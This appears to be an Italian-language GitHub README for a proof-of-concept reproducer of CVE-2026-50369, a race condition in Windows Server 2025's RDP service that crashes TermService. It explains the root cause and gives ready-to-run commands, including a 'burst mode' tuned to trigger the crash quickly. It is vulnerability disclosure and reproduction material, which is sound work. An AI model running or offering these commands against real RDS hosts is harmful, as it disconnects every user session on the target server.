mofarthim/cve-2026-50369PoC riproduttore per CVE-2026-50369, una race condition TOCTOU in rdpcorets.dll su Windows Server 2025 RDS Session Hosts che causa DoS di TermService tramite disconnessione della sessione RDP.
riproduttore per una race condition TOCTOU in rdpcorets.dll!CRdpPipeGfxPlugin::Enable su Windows Server 2025 RDS Session Hosts.
l'ho segnalato come DoS; il percorso di codice sembra in qualche modo abilitare anche l'EoP. questo riproduttore è un PoC per il solo percorso DoS.
Enable legge un puntatore a interfaccia COM a this+0x60 due volte senza sincronizzazione. TerminateInstance azzera lo stesso campo al di fuori dell'ambito della propria sezione critica. Entrambi vengono eseguiti contemporaneamente sul threadpool NT tramite work item di arrivo e rimozione di dispositivi PnP. La seconda lettura dereferenzia null → violazione di accesso → crash di TermService → tutte le sessioni RDP attive disconnesse.
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030